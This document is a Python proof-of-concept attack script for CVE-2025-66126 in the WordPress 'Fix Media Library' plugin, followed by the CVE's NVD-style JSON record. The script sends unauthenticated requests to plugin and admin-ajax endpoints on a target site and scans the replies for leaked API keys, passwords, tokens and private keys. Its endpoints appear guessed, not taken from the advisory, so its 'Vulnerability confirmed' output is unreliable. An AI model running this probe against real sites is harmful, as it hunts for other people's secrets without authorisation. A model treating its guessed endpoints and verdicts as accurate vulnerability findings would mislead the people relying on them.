CVE-2025-66126

import requests import sys def check_vulnerability(target_url, media_id): """ PoC for CVE-2025-66126 - wow-media-library-fix Sensitive Information Exposure Checks if sensitive data can be retrieved from media library """ # Common WordPress media library endpoints endpoints = [ f"{target_url}/wp-content/plugins/wow-media-library-fix/includes/ajax.php", f"{target_url}/wp-content/plugins/wow-media-library-fix/fix-media-library.php", f"{target_url}/wp-admin/admin-ajax.php?action=fix_media_library", ] for endpoint in endpoints: try: # Try to access media file directly response = requests.get(endpoint, params={'media_id': media_id}, timeout=10) # Check for sensitive data exposure if response.status_code == 200: content = response.text # Check for common sensitive patterns sensitive_patterns = ['api_key', 'password', 'secret', 'token', 'private_key'] for pattern in sensitive_patterns: if pattern.lower() in content.lower(): print(f"[+] Potential sensitive data found at: {endpoint}") print(f"[+] Pattern matched: {pattern}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_url> <media_id>") sys.exit(1) target = sys.argv[1] media_id = sys.argv[2] print(f"[*] Testing CVE-2025-66126 on {target}") if check_vulnerability(target, media_id): print("[!] Vulnerability confirmed!") else: print("[-] No vulnerability detected or target not affected")

{"cve": {"id": "CVE-2025-66126", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:56.993", "lastModified": "2026-04-27T17:16:40.750", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in wowpress.host Fix Media Library wow-media-library-fix allows Retrieve Embedded Sensitive Data.This issue affects Fix Media Library: from n/a through <= 2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wow-media-library-fix/vulnerability/wordpress-fix-media-library-plugin-2-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}